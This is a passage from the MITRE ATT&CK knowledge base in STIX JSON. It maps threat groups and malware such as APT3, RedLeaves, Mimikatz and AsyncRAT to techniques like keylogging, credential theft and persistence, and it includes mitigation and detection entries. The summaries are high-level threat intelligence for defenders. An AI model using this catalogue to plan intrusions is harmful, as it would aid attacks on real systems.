adversaries.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ed25d74a-2536-4ffe-9dc4-b6ea8ae03b19","created":"2023-12-21T21:12:29.644Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-21T21:13:26.148Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has used PowerShell to communicate with C2, download files, and execute reconnaissance commands.(Citation: Sygnia Emperor Dragonfly October 2022)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed283e07-a029-4d23-aa8f-55f92abb5203","type":"relationship","created":"2017-05-31T21:33:27.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2020-03-16T20:00:05.044Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has used a keylogging tool that records keystrokes in encrypted files.(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ed29b2b8-3f48-4bbe-a70b-b4e350820dcd","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T16:21:46.907Z","description":"Monitor logs from applications to detect user-initiated actions such as opening malicious documents, clicking on phishing links, or executing downloaded malware.\n\nAnalytic 1 - Logs showing unexpected user actions triggering unusual processes.\n\n sourcetype=application_log EventCode=1000 OR EventCode=1001\n| search application IN (\"winword.exe\", \"excel.exe\", \"chrome.exe\", \"firefox.exe\", \"adobe.exe\", \"zip.exe\")\n| stats count by application event_description\n| where event_description IN (\"opened document\", \"clicked link\", \"executed file\")","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed2c177c-18fc-4bfd-9169-48af1557a542","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Cherry Picker","description":"Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.","url":"https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/"}],"modified":"2020-03-16T17:55:26.698Z","description":"[Cherry Picker](https://attack.mitre.org/software/S0107) exfiltrates files over FTP.(Citation: Trustwave Cherry Picker)","relationship_type":"uses","source_ref":"malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed2e17b5-171b-4878-a3ab-2b70e8ca132a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto DNS Requests","description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"}],"modified":"2020-03-17T02:10:14.741Z","description":"[Pisloader](https://attack.mitre.org/software/S0124) has a command to collect victim system information, including the system name and OS version.(Citation: Palo Alto DNS Requests)","relationship_type":"uses","source_ref":"malware--b96680d1-5eb3-4f07-b95c-00ab904ac236","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ed2f811d-3258-4489-abe1-57dac4bdbbf8","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","url":"http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.651Z","description":"[RedLeaves](https://attack.mitre.org/software/S0153) attempts to add a shortcut file in the Startup folder to achieve persistence. If this fails, it attempts to add Registry Run keys.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Accenture Hogfish April 2018)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed31775e-0622-403a-b7a0-01d90b0d1c1f","type":"relationship","created":"2019-12-12T15:21:30.289Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T17:05:44.641Z","description":"Ensure all application component binaries are signed by the correct application developers. ","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ed3539fa-7ae7-45b0-9f0f-d62460ed07b1","created":"2020-05-14T22:29:26.210Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T17:05:07.006Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) used dynamic API resolutions to various Windows APIs by leveraging `LoadLibrary()` and `GetProcAddress()`.(Citation: McAfee Sharpshooter December 2018)","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed3bc4c8-f800-440f-8bb4-c5e8e4611eb3","type":"relationship","created":"2019-09-16T18:46:37.956Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","source_name":"Security Intelligence More Eggs Aug 2019"}],"modified":"2019-09-16T18:46:37.956Z","description":"(Citation: Security Intelligence More Eggs Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed3d84f6-542f-418b-9769-4bfd10246371","type":"relationship","created":"2020-08-18T13:13:30.558Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-18T13:13:30.558Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has attempted to disguise itself by registering under a seemingly legitimate service name.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed3de8e8-e09c-4273-8f68-da5219a7e9ee","type":"relationship","created":"2021-03-17T20:09:13.260Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-17T20:09:13.260Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","target_ref":"attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ed3fa28d-54ff-4b21-9924-58e5dcd94ac1","created":"2023-09-28T13:22:47.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:34:47.038Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can enumerate IAM users, roles, and groups. (Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed40dd97-0ad0-4501-8f1e-a4bd4625432d","type":"relationship","created":"2022-01-05T16:57:22.723Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:57:22.723Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can create a new service for execution.(Citation: Talos ZxShell Oct 2014)","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed44057a-14ef-47fa-baca-1869d874a072","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor executed commands and arguments that may exfiltrate data to a cloud storage service rather than over their primary command and control channel.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ed45fb1c-048a-4378-8c15-6f6ea0c72d7a","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.652Z","description":"[RedLeaves](https://attack.mitre.org/software/S0153) can enumerate drives and Remote Desktop sessions.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ed46ee23-87eb-40e0-99ae-b396440f66bf","created":"2024-08-05T21:45:03.381Z","revoked":false,"external_references":[{"source_name":"aptsim","description":"valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.","url":"http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T21:45:03.381Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has been known to create or enable accounts, such as support_388945a0.(Citation: aptsim)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--d349c66e-18e1-4d8b-a2d7-65af7cbd2ba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ed48d88f-840e-4653-84df-7181afc6dfd3","created":"2022-08-03T15:07:02.349Z","x_mitre_version":"0.1","external_references":[{"source_name":"Adsecurity Mimikatz Guide","url":"https://adsecurity.org/?page_id=1821","description":"Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Mimikatz](https://attack.mitre.org/software/S0002)'s `CRYPTO` module can create and export various types of authentication certificates.(Citation: Adsecurity Mimikatz Guide)","modified":"2022-08-03T15:07:02.349Z","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed51de86-8e28-4436-a663-94b66f22a7df","type":"relationship","created":"2019-01-30T16:39:54.425Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2019-06-10T18:25:51.800Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) contains watchdog functionality that ensures its process is always running, else spawns a new instance.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed522c9c-038b-43c0-af66-e81b954104f2","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-17T02:14:56.030Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) can capture a screenshot from a victim.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed543016-8c64-42dd-89e1-7c6a49791d80","type":"relationship","created":"2020-06-15T20:49:55.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Dyreza November 2015","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/","description":"hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}],"modified":"2020-06-15T20:49:55.561Z","description":"[Dyre](https://attack.mitre.org/software/S0024) has the ability to send information staged on a compromised host externally to C2.(Citation: Malwarebytes Dyreza November 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ed561ab1-db94-4dbe-873b-d3e6cb488c4d","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Volgmer Aug 2014","description":"Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.","url":"https://web.archive.org/web/20181126143456/https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:40:35.189Z","description":"[Volgmer](https://attack.mitre.org/software/S0180) can gather information about TCP connection state.(Citation: Symantec Volgmer Aug 2014)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ed592480-2e4d-4604-aa8d-89bf58d72f6b","created":"2023-10-03T19:09:36.878Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AsyncRAT GitHub","description":"Nyan-x-Cat. (n.d.). NYAN-x-CAT / AsyncRAT-C-Sharp. Retrieved October 3, 2023.","url":"https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/README.md"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T16:01:34.423Z","description":"[AsyncRAT](https://attack.mitre.org/software/S1087) has the ability to view the screen on compromised hosts.(Citation: AsyncRAT GitHub)","relationship_type":"uses","source_ref":"tool--6a5947f3-1a36-4653-8734-526df3e1d28d","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed5bd47a-cdc4-4962-b956-dd3ae7c00024","type":"relationship","created":"2021-09-21T15:16:40.896Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T16:28:04.570Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has obtained and used leaked malware, including DoublePulsar, EternalBlue, EternalRocks, and EternalSynergy, in its operations.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed609ca1-8646-4827-9d1a-aad365de95f6","type":"relationship","created":"2020-02-04T13:06:49.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-29T21:36:36.797Z","description":"Ensure only authorized keys are allowed access to critical resources and audit access lists regularly.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed61e0a2-f6a7-43b1-b58e-aa0ab9c51c4e","type":"relationship","created":"2020-11-30T16:54:23.532Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2020-12-01T14:15:38.037Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can establish persistence by writing shortcuts to the Windows Startup folder.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed656cf9-64ea-411b-82b8-5260c2694cfd","type":"relationship","created":"2021-01-28T17:54:03.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Prevailion EvilNum May 2020","url":"https://www.prevailion.com/phantom-in-the-command-shell-2/","description":"Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}],"modified":"2022-01-19T18:23:53.127Z","description":"[EVILNUM](https://attack.mitre.org/software/S0568) has used the Windows Management Instrumentation (WMI) tool to enumerate infected machines.(Citation: Prevailion EvilNum May 2020)","relationship_type":"uses","source_ref":"malware--7cdfccda-2950-4167-981a-60872ff5d0db","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed6d663f-510b-4702-9c2a-ef40cc4d88c7","type":"relationship","created":"2020-06-12T16:15:04.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."}],"modified":"2020-06-15T20:53:11.792Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can extract its agent from the body of a malicious document.(Citation: Eset Ramsay May 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed74954d-4717-4d63-9836-4cbd66c37345","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"},{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:37:09.460Z","description":"[Crimson](https://attack.mitre.org/software/S0115) contains a module to steal credentials from Web browsers on the victim machine.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 